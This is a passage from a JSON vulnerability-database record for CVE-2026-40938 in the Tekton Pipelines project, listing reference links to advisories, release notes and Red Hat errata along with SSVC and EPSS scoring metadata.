ine/security/advisories/GHSA-94jr-7pqp-xhcq","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/tektoncd/pipeline/releases/tag/v1.11.1","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-40938","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2460292","tags":["issue-tracking","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40938.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24359","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:17546","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:26538","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:26519","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24484","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40938","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/tektoncd/pipeline","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-22T18:31:54.871Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40938","url":"https://www.cve.org/CVERecord?id=CVE-2026-40938","licence":"CVE Terms of Use","modified":"2026-09-07T12:04:45.955Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-94jr-7pqp-xhcq","url":"https://github.com/advisories/GHSA-94jr-7pqp-xhcq","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:01.307Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5272","url":"https://pkg.go.dev/vuln/GO-2026-5272","licence":"CC-BY-4.0","modified":"2026-07-23T19:15:16.386Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40938","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:19.194Z","epss":{"score":0.00802,"percentile":0.57808,"date":"2026-12-01T12:00:22.000Z"}}